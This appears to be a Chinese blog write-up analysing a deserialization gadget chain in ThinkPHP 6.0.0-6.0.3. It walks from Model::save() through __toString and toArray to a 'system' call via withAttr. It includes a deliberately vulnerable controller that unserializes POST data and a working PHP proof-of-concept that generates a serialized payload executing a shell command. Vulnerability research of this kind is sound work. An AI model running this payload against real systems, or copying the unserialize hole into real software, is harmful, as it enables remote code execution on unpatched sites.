影响范围thinkPHP v6.0.0-6.0.3

下载composer create-project topthink/think=6.0.3 tp6.0

这里好像有个坑点

默认核心安装的为framework=v6.0.9 think-orm=2.0.44 但是到最后面部分代码段已经修复了利用点,所以在部署完成后,需要在composer.json 中,修改核心依赖相关版本,回退更新

"require": {
         "php": ">=7.1.0",
         "topthink/framework": "6.0.3",
         "topthink/think-orm": "2.0.30"
     },

然后更新

composer update

首先加个控制器

public function xiaolong(){
    highlight_file(__FILE__);
    $tmp = $_POST['data'];
    echo $tmp;
    unserialize($tmp);
}

添加路由

Route::get('xiaolong', 'index/xiaolong');

访问http://127.0.0.1/tp6.0/public/index.php/index/xiaolong

image-20220320163256283

思路是这样的

image-20220320145544578

也就是说前半部分需要可以触发__toString的点,后半部分就是tp5.2.x的反序列化链子

首先入口点在/vendor/topthink/think-orm/src/Model.php

image-20220320145816232

跟进save()

image-20220320145841773

接下来需要的链子如下

save()
↓
updateData()
↓
checkAllowFields()
↓
db()
↓
$query = self::$db->connect($this->connection)
    ->name($this->name . $this->suffix)
    ->pk($this->pk);

想要进入updateData()需要让isEmpty()为false,trigger()为true

image-20220320150406975

image-20220320150431178

那么只要$this->data不为空,$this->withEvent为false即可

跟进updateData()

protected function updateData(): bool
{
    // 事件回调
    if (false === $this->trigger('BeforeUpdate')) {
        return false;
    }

    $this->checkData();

    // 获取有更新的数据
    $data = $this->getChangedData();

    if (empty($data)) {
        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        return true;
    }

    if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
        // 自动写入更新时间
        $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
        $this->data[$this->updateTime] = $data[$this->updateTime];
    }

    // 检查允许字段
    $allowFields = $this->checkAllowFields();

    foreach ($this->relationWrite as $name => $val) {
        if (!is_array($val)) {
            continue;
        }

        foreach ($val as $key) {
            if (isset($data[$key])) {
                unset($data[$key]);
            }
        }
    }

    // 模型更新
    $db = $this->db();
    $db->startTrans();

    try {
        $this->key = null;
        $where     = $this->getWhere();

        $result = $db->where($where)
            ->strict(false)
            ->cache(true)
            ->setOption('key', $this->key)
            ->field($allowFields)
            ->update($data);

        $this->checkResult($result);

        // 关联更新
        if (!empty($this->relationWrite)) {
            $this->autoRelationUpdate();
        }

        $db->commit();

        // 更新回调
        $this->trigger('AfterUpdate');

        return true;
    } catch (\Exception $e) {
        $db->rollback();
        throw $e;
    }
}

trigger()前面已经为true了,checkData()为空方法不用管,直接进入getChangedData(),需要获得一个不为空的data

image-20220320151114662

$this->force=true即可

接着进入checkAllowFields()

image-20220320151631702

这里将$this->schema设为空即可进入db()

image-20220320153125308

这里有. 号,当我们进行构造对象进行字符串拼接时,就会触发__toString() 魔术方法

image-20220320154356592

image-20220320154410694

public function toArray(): array
{
    $item       = [];
    $hasVisible = false;

    foreach ($this->visible as $key => $val) {
        if (is_string($val)) {
            if (strpos($val, '.')) {
                [$relation, $name]          = explode('.', $val);
                $this->visible[$relation][] = $name;
            } else {
                $this->visible[$val] = true;
                $hasVisible          = true;
            }
            unset($this->visible[$key]);
        }
    }

    foreach ($this->hidden as $key => $val) {
        if (is_string($val)) {
            if (strpos($val, '.')) {
                [$relation, $name]         = explode('.', $val);
                $this->hidden[$relation][] = $name;
            } else {
                $this->hidden[$val] = true;
            }
            unset($this->hidden[$key]);
        }
    }

    // 合并关联数据
    $data = array_merge($this->data, $this->relation);

    foreach ($data as $key => $val) {
        if ($val instanceof Model || $val instanceof ModelCollection) {
            // 关联模型对象
            if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                $val->visible($this->visible[$key]);
            } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                $val->hidden($this->hidden[$key]);
            }
            // 关联模型对象
            if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                $item[$key] = $val->toArray();
            }
        } elseif (isset($this->visible[$key])) {
            $item[$key] = $this->getAttr($key);
        } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);
        }
    }

    // 追加属性(必须定义获取器)
    foreach ($this->append as $key => $name) {
        $this->appendAttrToArray($item, $key, $name);
    }

    return $item;
}

接下来的思路为

toArray()
↓
getAttr()
↓
getValue()
↓
} else {
    $closure = $this->withAttr[$fieldName];
    $value   = $closure($value, $this->data);
}

要进入getAttr()得满足isset($this->visible[$key]),而$key$data的键名,也就是说$this->visibleh和$this->data有相同键名即可,但要注意$val不能设为string,否则会被处理

image-20220320155848363

跟进getAttr()

image-20220320155144847

看一下getData()

image-20220320160118160

image-20220320160521324

最终返回的还是键名$key对应的键值

image-20220320160725545

$fieldName依旧为键名$key,进入大的if后,因为$relation默认为false,跳过第一个判断,$this->json同样默认为空,进入else

$this->withAttr是可控的,这里设为system即可

poc如下

<?php


namespace think\model{

    use think\Model;

    class Pivot extends Model{

    }
}
namespace think{
    abstract class Model{
        private $lazySave = true;
        protected $withEvent = false;
        private $exists = true;
        private $force = true;
        private $data = array("q"=>"dir");
        protected $schema = array();
        protected $name;
        protected $visible = array("q"=>1);
        private $withAttr = array("q"=>"system");
        public function setName($newName){
            $this->name=$newName;
        }
    }
}
namespace{

    use think\model\Pivot;
    $a=new Pivot();
    $b=new Pivot();
    $a->setName($b);
    echo urlencode(serialize($a));
}

image-20220320163031718

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏